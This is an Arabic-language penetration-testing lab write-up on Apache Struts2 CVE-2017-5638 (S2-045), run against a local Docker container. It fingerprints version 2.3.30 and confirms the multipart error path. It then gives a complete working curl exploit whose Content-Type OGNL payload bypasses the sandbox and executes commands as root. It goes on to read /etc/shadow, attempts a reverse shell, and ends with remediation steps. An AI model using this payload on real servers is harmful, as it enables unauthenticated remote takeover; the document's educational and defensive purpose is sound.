
مختبر عملي يوضح حقن OGNL في Apache Struts2 (CVE-2017-5638) مع تحليل منهجي للنظام، واستغلال الثغرة، وتجاوز الصندوق الرملي، وتقنيات ما بعد الاستغلال لأغراض تعليم اختبار الاختراق.

بعد بدء الحاوية، تُظهر سجلات Struts2 أن التطبيق يقوم بتحميل ملفات التكوين المألوفة مثل struts-default.xml و struts-plugin.xml و struts.xml. وهذا يؤكد أن الإطار المستخدم هو Apache Struts2.

نقطة بارزة تكمن في السطر:
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
يشير هذا السطر إلى أن Struts2 يختار محلل Jakarta multipart (محلل بيانات الرفع المتعدد الأجزاء) لمعالجة الطلبات من نوع multipart/form-data، الذي يُستخدم عادةً في وظيفة رفع الملفات.
هذه إشارة حاسمة عند تحليل S2-045 / CVE-2017-5638، حيث أن هذه الثغرة مرتبطة بالعملية التي يعالج بها Struts2 الأخطاء عند تحليل طلبات multipart، خاصةً مع عنوان Content-Type غير صالح.
ومع ذلك، فإن هذا السجل يثبت فقط أن التطبيق يستخدم Struts2 ومعالج multipart من نوع Jakarta. لا يزال غير كافٍ لاستنتاج أن التطبيق معرض للخطر بالتأكيد. للتأكيد، نحتاج إلى تحديد إصدار struts2-core ومقارنته بنطاق الإصدارات المتأثرة.



عند الوصول إلى خدمة الويب باستخدام curl، تُظهر ترويسات الاستجابة أن التطبيق يعمل على Jetty 9.2.11.v20150529. هذه المعلومات تساعد في تحديد البيئة التي يعمل عليها التطبيق (حاوية servlet)، لكنها لا تكشف بشكل مباشر عن إصدار Struts2.
تقوم واجهة الويب بإرجاع صفحة Struts2 Showcase - Fileupload sample، مع نموذج رفع يستخدم:
method="POST" enctype="multipart/form-data" action="/upload.action"
يتوافق هذا مع السجل السابق حيث اختار Struts2 jakarta لـ MultiPartRequest: التطبيق بالفعل لديه تدفق معالجة رفع الملفات عبر multipart/form-data.
⇒ تفكير: نقطة النهاية /upload.action تستخدم multipart/form-data، مما يتطابق مع الآلية التي يعالج بها Struts2 الطلبات عبر Jakarta MultiPartRequest. هذه علامة تعزز الشك في S2-045/CVE-2017-5638، لكننا نحتاج إلى تحديد إصدار Struts2 قبل استنتاج أن التطبيق معرض للخطر. بعد ذلك، لا يزال التحقق الأعمق مطلوبًا فيما يتعلق بـ إصدار struts2-core وكيفية معالجة التطبيق للأخطاء عند استلام Content-Type غير صالح.
بعد تحديد أن التطبيق لديه نقطة نهاية رفع باستخدام multipart/form-data، فإن الخطوة التحليلية التالية هي العثور على الإصدار الفعلي لـ Struts2. هذا أمر بالغ الأهمية لأن العلامات السابقة فقط أظهرت أن التطبيق لديه آلية متعلقة برفع multipart، وهو غير كافٍ بعد لاستنتاج أنه معرض للخطر.

بعد تحديد الحاوية الصحيحة التي تخدم نقطة النهاية 8001، يتم إجراء فحص المكتبات مباشرة داخل الحاوية project1-lab01-1.
النتيجة وجدت ملف struts2-core:
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
من هذا المسار، يمكننا تحديد أن التطبيق يستخدم Apache Struts2 2.3.30.

مقارنة هذا مع الثغرة المنشورة CVE-2017-5638 / S2-045، فهي تؤثر على العديد من إصدارات Struts2 القديمة، بما في ذلك فرع 2.3.x قبل التصحيح. عند دمجها مع:
Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data
تصبح سلسلة شروط التحليل أوضح:
Struts2 Version 2.3.30 < Version 2.3.32
+ Jakarta multipart parser + upload endpoint
→ The application is within the strong suspicion range of S2-045/CVE-2017-5638
ومع ذلك، من منظور تحليلي، الإصدار المعرض للخطر هو مجرد دليل على إمكانية التأثر. لتأكيد ذلك على المستوى السلوكي، نحتاج إلى إرسال طلب multipart شاذ ومراقبة الاستجابة/السجلات لمعرفة ما إذا كان يدخل في فرع معالجة الأخطاء لمحلل Struts2 multipart.
⇒ تفكير: عند هذه النقطة، لم يعد الأمر مجرد تحديد الإطار؛ الإصدار 2.3.30 يؤكد أن التطبيق يقع ضمن نطاق الإصدارات المتأثرة بـ S2-045/CVE-2017-5638. الخطوة المتبقية هي التحقق من سلوك معالجة أخطاء multipart لإكمال سلسلة الأدلة.

نحتاج إلى التحقق مما إذا كانت الطلبات المرسلة إلى /upload.action تمر فعلاً عبر آلية معالجة multipart الخاصة بـ Struts2. هنا، أستخدم أمر curl مع الخيار -F لاختبار آلية المعالجة. والنتيجة المُعادة مقسمة إلى أجزاء:
`
⇒ يثبت الطلب الصحيح أن /upload.action يمر بالفعل عبر آلية رفع multipart لأن curl -F يُنشئ multipart/form-data ويمكن للخادم تحليل كل جزء من الطلب.


بعد إرسال طلب يُعلن Content-Type على أنه multipart/form-data ولكن مع جسم لا يتوافق مع بنية multipart، لا يزال الخادم يُعيد HTTP 200 OK. ومع ذلك، فإن حقول ContentType و FileName و File و Caption كلها فارغة. عند فحص سجلات Docker، نلاحظ عدم وجود boundary (سلسلة فاصل بين الأجزاء في multipart)، ولا يزال العميل يتلقى HTTP 200 OK. ولكن في الواقع، Struts2 واجه خطأ أثناء معالجة الطلب.
يثبت هذا سلسلة الأدلة:
Faulty multipart request
→ Struts2 wraps request
→ MultiPartRequestWrapper is called
→ JakartaMultiPartRequest parses request
→ FileUploadException due to missing boundary
⇒ يتطابق مع المكونات المتعلقة بـ S2-045/CVE-2017-5638. وبالتالي، تصبح سلسلة الشروط أكثر اكتمالًا: إصدار معرض للخطر، محلل Jakarta، نقطة نهاية رفع، والطلب الخاطئ يدخل في فرع معالجة multipart الصحيح.
النقطة الحاسمة في S2-045/CVE-2017-5638 لا تكمن فقط في فشل محلل multipart. خطأ المحلل هو مجرد الشرط المسبب الأولي. الجزء الخطير يكمن في كيفية معالجة Struts2 لرسالة الخطأ لاحقًا. مع إصدارات Struts2 المتأثرة، عندما يواجه محلل multipart خطأ، يمكن تغذية محتوى الخطأ في آلية معالجة الرسائل الخاصة بـ Struts2. إذا كان المهاجم يتحكم في جزء من البيانات التي تظهر في الخطأ، خاصة من ترويسة Content-Type، يمكن تقييم تلك البيانات بواسطة Struts2 عبر OGNL (Object-Graph Navigation Language - لغة التعبير الخاصة بـ Struts/XWork).
تفكير:
Anomalous Content-Type
→ Jakarta multipart parser parsing error
→ Struts2 generates/logs error message
→ error message goes through expression evaluation mechanism
→ if malicious OGNL is present, it can lead to RCE
تحديد أن الهدف يستخدم Struts2، وبما أن Struts2 يستخدم OGNL كمحرك تعبيرات، فإن البحث في PayloadsAllTheThings يُظهر أن حقن new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) في Struts2 سيفشل لأن Struts2 لديه صندوق حماية يمنع الوصول إلى java.lang.Runtime.

⇒ تجميع الحمولة الموجودة في هيكل استغلال Struts2:
تشغيل محلل Jakarta
(#_="multipart/form-data")
تجاوز صندوق حماية Struts2 (مطلوب)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
حمولة تنفيذ الأوامر
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
ومع ذلك، عند تنفيذ الحمولة عمليًا، نواجه مشكلتين:
readAllBytes() مدعومة فقط بدءًا من Java 9. إذا أصررنا على استخدامها، سيفشل OGNL بصمت ويعيد صفحة HTML فارغة. يتم حل هذا بالتحول إلى استخدام الفئة IOUtils من مكتبة org.apache.commons.io (متاحة دائمًا في Struts2) لقراءة التدفق.HttpServletResponse، واستخدام getWriter().println() لطباعة المخرجات أولاً، ثم استدعاء flush() و close() لإنهاء الاتصال فورًا. هذا يجبر الخادم على إعادة نتيجة تنفيذ الأمر النظيفة، متجاوزًا جميع واجهة HTML الزائدة.⇒ إعادة تجميع التعديلات أعلاه، نحصل على أمر curl الكامل (باستخدام ProcessBuilder + IOUtils + Response Writer):
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

الاستغلال ناجح!!!
على الرغم من أننا حققنا RCE بصلاحيات الجذر، إلا أنه يجب إرسال كل أمر عبر طلب HTTP منفصل، مما يوفر بيئة غير تفاعلية. يسمح الصدى العكسي (Reverse Shell) بإنشاء جلسة مستمرة، والتفاعل المباشر مع النظام الهدف كما لو كنت جالسًا أمام الجهاز، مما يخدم جمع المعلومات والاستغلال اللاحق الأعمق.
التحقق من الصلاحيات
بعد الاستغلال الناجح، تحقق من الصلاحيات على النظام:
uid=0(root) gid=0(root) groups=0(root)
→ التطبيق يعمل بصلاحيات الجذر — لا حاجة لتصعيد الصلاحيات.
جمع البيانات الحساسة
قراءة ملف /etc/shadow (الملف الذي يحتوي على تجزئات كلمات المرور، والذي لا يملك صلاحية الوصول إليه إلا الجذر):

→ يثبت أن المهاجم لديه صلاحية قراءة/كتابة كاملة لملفات النظام، بما في ذلك أكثرها حساسية.
ملاحظة حول الصدى العكسي
كان إنشاء الصدى العكسي غير ناجح لأن حاوية Docker على Windows تستخدم شبكة داخلية (bridge/NAT)؛ لا يمكن للحاوية الاتصال مرة أخرى بجهاز المهاجم (Kali) على الشبكة المحلية. ومع ذلك، لا يؤثر هذا على خطورة الثغرة — فقد حقق المهاجم RCE بصلاحيات الجذر ويمكنه تنفيذ أي أمر على النظام.
تم تقييم ثغرة حقن OGNL (CVE-2017-5638 / S2-045) على هذا النظام بمستوى أعلى خطر:
لعلاج هذه الثغرة بشكل كامل، يجب على فرق إدارة النظام والتطوير تنفيذ الإجراءات التالية (مرتبة حسب الأولوية):
أولويات عاجلة (قصيرة المدى):
JakartaMultiPartRequest.root. يجب إنشاء مستخدم مخصص (مثل struts_user) بأقل الصلاحيات اللازمة لتشغيل التطبيق.أولويات عالية (طويلة المدى والدفاع المتعمق):
%{...} و ${...} و ognl و java.lang.ProcessBuilder) في ترويسة Content-Type.Pell أو COS في ملف التكوين struts.xml (struts.multipart.parser=cos).| المعيار | التقييم | التفاصيل |
|---|
| نقاط CVSS | 10.0 (حرجة) | أقصى درجة مطلقة. |
| المصادقة | غير مطلوبة | لا يحتاج المهاجم إلى حساب أو تسجيل الدخول لاستغلال هذه الثغرة. |
| التعقيد | منخفض جدًا | يتطلب فقط إرسال طلب HTTP واحد (POST) يحتوي على الحمولة في ترويسة Content-Type. |
| الصلاحيات المكتسبة | root | تحكم كامل في التطبيق/الحاوية بأعلى مستوى صلاحية، مع القدرة على قراءة/كتابة أي ملف (مثل /etc/shadow). |
| الحركة الجانبية | عالية | من الحاوية المخترقة، يمكن للمهاجم فحص الشبكة الداخلية (LAN) ومهاجمة الحاويات الأخرى أو الخوادم المضيفة. |